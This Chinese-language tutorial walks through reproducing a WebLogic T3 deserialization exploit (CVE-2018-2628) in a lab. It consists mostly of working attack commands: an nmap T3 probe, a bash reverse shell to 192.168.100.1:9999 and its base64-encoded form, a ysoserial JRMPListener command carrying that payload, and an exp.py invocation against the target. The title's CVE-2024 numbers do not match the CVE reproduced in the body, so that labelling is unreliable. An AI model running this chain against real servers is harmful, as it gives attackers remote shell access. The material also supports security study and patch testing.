Weblogic反序列化漏洞原理分析及漏洞复现(CVE-2024-2628 CVE-2024-21839复现)

使用Nmap的脚本查看对方是否开启T3协议，查看到目标站点开启了T3协议

nmap -n -v -p 7001,7002 192.168.100.134 --script=weblogic-t3-info 

扫描结果：说明开启了T3协议

使用扫描工具探测是否存在weblogic漏洞：

工具地址

经过扫描，发现此漏洞(工具可能有所差异不太准确，也可使用图形化界面)

存在CVE-2018-2628漏洞

攻击者需要使用ysoserial启动一个JMRP Server

工具地址

其他架包使用方式都类似，大同小异，查看帮助即可。

JMRP Server在7777端口上监听请求，向目标服务器发送序列化的bash反弹shell命令，反弹监听的端口为9999

PS：

这里使用bash反弹shell，由于Runtime.getRuntime().exec()中不能使用重定向和管道符，这里需要对其进行base64编码再使用

反弹shell命令：

sh -i >& /dev/tcp/192.168.100.1/9999 0>&1

base64编码后：

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}

开启JMRP Server服务：

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections3 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}"

本地监听9999端口：

接下来使用CVE-2018-2628的 EXP 向目标WebLogic服务器发送攻击载荷（payload）

python2 exp.py 192.168.100.134 7001 ysoserial-all.jar 192.168.100.1 7777 JRMPClient